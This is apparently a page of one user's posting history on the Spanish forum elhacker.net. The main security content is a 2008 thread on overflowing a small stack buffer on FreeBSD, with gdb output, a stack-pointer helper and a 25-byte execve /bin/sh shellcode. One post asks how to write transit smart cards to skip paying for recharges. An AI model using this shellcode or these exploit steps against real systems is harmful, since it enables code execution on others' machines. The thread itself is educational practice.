elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Mensajes
Páginas: 1 ... 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 [233] 234 235
2321  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 14 Enero 2008, 02:49 am

En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:

x/1i $eip

En el momento que da el sigsegv. Un saludo.

Mira, estoy seguro que hace algo, sin embargo todavia no estoy completamente seguro de que hace, despues del prolog, ejecuta cosas que ni al caso pero bueno, preguntemosle esto a los que hacen gcc  ;D

Código:
(gdb) disas main
Dump of assembler code for function main:
0x080481b4 <main+0>:    push   %ebp
0x080481b5 <main+1>:    mov    %esp,%ebp
0x080481b7 <main+3>:    sub    $0x18,%esp
0x080481ba <main+6>:    and    $0xfffffff0,%esp
0x080481bd <main+9>:    mov    $0x0,%eax
0x080481c2 <main+14>:   add    $0xf,%eax
0x080481c5 <main+17>:   add    $0xf,%eax
0x080481c8 <main+20>:   shr    $0x4,%eax
0x080481cb <main+23>:   shl    $0x4,%eax
0x080481ce <main+26>:   sub    %eax,%esp
0x080481d0 <main+28>:   sub    $0x8,%esp
0x080481d3 <main+31>:   mov    0xc(%ebp),%eax
0x080481d6 <main+34>:   add    $0x4,%eax
0x080481d9 <main+37>:   pushl  (%eax)
0x080481db <main+39>:   lea    0xffffffe8(%ebp),%eax
0x080481de <main+42>:   push   %eax
0x080481df <main+43>:   call   0x804973c <strcpy>
0x080481e4 <main+48>:   add    $0x10,%esp
0x080481e7 <main+51>:   sub    $0x8,%esp
0x080481ea <main+54>:   lea    0xffffffe8(%ebp),%eax
0x080481ed <main+57>:   push   %eax
0x080481ee <main+58>:   push   $0x805b46a
0x080481f3 <main+63>:   call   0x8049708 <printf>
0x080481f8 <main+68>:   add    $0x10,%esp
0x080481fb <main+71>:   mov    $0x0,%eax
0x08048200 <main+76>:   leave
0x08048201 <main+77>:   ret
End of assembler dump.

Si lo sobre escribe el eip

Código:
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) x/1 $eip
0x48484848:     Error accessing memory address 0x48484848: Bad address.

y tambien el ebp, pero ese no hay mucho que decir... mirar:

Código:
(gdb) info register
eax            0x0      0
ecx            0x0      0
edx            0x35     53
ebx            0x2      2
esp            0xbfbfe910       0xbfbfe910
ebp            0x47474747       0x47474747
esi            0xbfbfe960       -1077941920
edi            0x0      0
eip            0x48484848       0x48484848
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb)

Ok salimos de Dudas...  ;D
2322  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 14 Enero 2008, 02:16 am
Bien zhynar_X, creo que si estas estudiado  ;D, y eso es bueno.

Bien vi tu codigo y es de los clasicos BOF, sin embargo el buffer que estas dejando en muy pequeño para propositos educativos y de aprendizaje, yo recomiendo buffer mas grande, ya que veas como funciona en un buffer grande, vas a ver la forma de hacerlo en buffer pequeños, sin embargo yo estoy casi seguro que con 12-16 bytes nadie va a poder meter un shellcode completo ahi  :xD.

Bien una direccion aproximada de la pila donde se esta almacenado tu variable la puedes conseguir con la siguente funcion

Código:
unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

Sin embargo vas a tener que restar algunas decenas o centerares de bytes.

Ahora bueno para buffer pequeños, uso algo que le aprendi a rojodos  ;D

Código:
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H

Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar  ;D, lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular.

Este solo es para FreeBSD

Código:
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

Por eso comento que para practica personal, es necesario un buffer un poco mas grande.
2323  Programación / Programación Visual Basic / Re: Formulario con regiones transparentes en: 30 Diciembre 2007, 06:10 am
Si esta chido el codigo. y solo lo havia visco con un Form Invisible, pero este es diferente esperemos que le sirva a mas de alguno
2324  Media / Multimedia / Re: No lo se hacer. en: 30 Diciembre 2007, 06:07 am
AnyDVD es tu solucion, tambien puedes probar Alcohol 120% si lo que quieres es poderlos ver en tu PC sin necesidad de insertar el Disco
2325  Programación / Scripting / Re: Batch colores en: 25 Diciembre 2007, 16:28 pm
En un Batch de ms-dos, claro lo tienes que saber programar en C, buscate el IDE, de Turbo C. y ya que lo tengas te digo como.
2326  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Opcion borrar mensajes en: 23 Mayo 2007, 22:54 pm
Bueno, creo tambien esta la opcion de que tambien se publique la respues a ver si a alguien le sirve, no hay que ser tan Envidiosos....

Bueno eso Pienso Yo.
2327  Informática / Electrónica / Re: El transporte Publico y algunos Smart Card en: 22 Mayo 2007, 22:14 pm
Gracias eidtech
2328  Informática / Electrónica / El transporte Publico y algunos Smart Card en: 17 Mayo 2007, 22:17 pm
Recientemente note que algunos de los transportes publicos de mi ciudad, como el tren y otros destinados para personas de gran importancia ($$$$), empezaron a usar un tipo de smart Card como las del telefono, sin embargo estas no tienen el Chip a la vista.

De hecho cuando tu las usas, no importa de que lado utilices tu tarjeta, esta sirve por adelante y por detras, lo unico que ocupas hacer es colocarla de cualquier lado sobre la base de cobro.. y de hecho cuando vas a recargar tu tarjeta se la das a la persona encargada y le dices "50$ por favor" te pide tu tarjeta y solo la coloca sobre una base de plastico o algo parecido, despues en su programa teclea el numero 5 y luego el  0 y despues de un gran enter te pide que le des un billete de 50.... y eso me parece muy...  :rolleyes: ... No se.

Bueno la pregunta que me he estado haciendo, alguno de ustedes sabe como se llama este tipo de targetas, solo con eso me doy con el nombre correcto ya que con eso puedo buscar mas informacion ahi en google... y pues aprender a leer y escribir sonbre ellas, asi para ya no tener que hacer fila para que me la recargen.

Gracias
2329  Foros Generales / Foro Libre / Re: Destruccion de Agujeros Negros? en: 14 Enero 2007, 23:46 pm
Buena pregunta, hay que resucitar a einstein para que nos la explique... o comprarnos un Libro de Fisica en la libreria mas cercana.
 ;D ;D ;D



Segun la teria especial de la retatividad de Einstein el tiempo que tu conoces aqui, no es el mismo en otros lados... si tu viajas a velocidades cercanas a la de la velocidad de la luz que viene ciendo un posible limite universal de velocidad,  para ti el tiempo pasara mas lento que para los demas. si viajaras a la velocidad de la luz, y fueras capas de ver, no podras ver nada ya que la luz viaja a esa velocidad, la alcanzarias y estuvieses a su velocidad... y muchas cosas mas que todavia falta por comprovar.
2330  Foros Generales / Foro Libre / Re: Destruccion de Agujeros Negros? en: 14 Enero 2007, 23:32 pm
Bueno yo se que no se puede acelerar a la velocidad de la luz o superior, sin embargo en un ejercicio hipotetico en mi libro de fisica te  dicen que hay un agujero negro esferico con un radio de 14 milimetros, y te dicen que a 30000 Kilometros de el hay una roca de 5 Kg, hice los calculos necesarios para calcular la Fuerza entre los 2 objetos (cave mencionar que el agujero negro de radio de 14 milimetros tiene casi el doble de masa que la tierra), calcule que el objeto de  5 kg salia Disparado con una aceleracion inicial de 70 m/s2

Haciendo un poco de calculo fui reduciendo la distancia que se paraba a los objetos de mitad en mitad y depues de de estar a unos pocos kilometros del objeto masivo la piedra ya estaba totalmente desintegrada y  tenia una aceleracion superior a la de la luz y por mucho



Cabe mencionar que si moririas  imaginate a ti ser reducido a una esfera con mucho menos de un micrometro de radio.



Los Efectos que tu observaras si te acercaras a un agujero negro son los siguientes..

Comensarias a estirarte como chicle ya que ciertas partes de tu cuerpo estan mas cerca del agujero y estarias sometidas a mas aceleracion llegarias al Horizonte de eventos de una manera muy rapido casi instantatea.

Los observadores que esten presenciando este acto tuyo desde un telescopio nunca les alcanzaria la vida para ver como llegas, devido a lo que se conoce como dilatacion del Tiempo.
Páginas: 1 ... 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 [233] 234 235
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines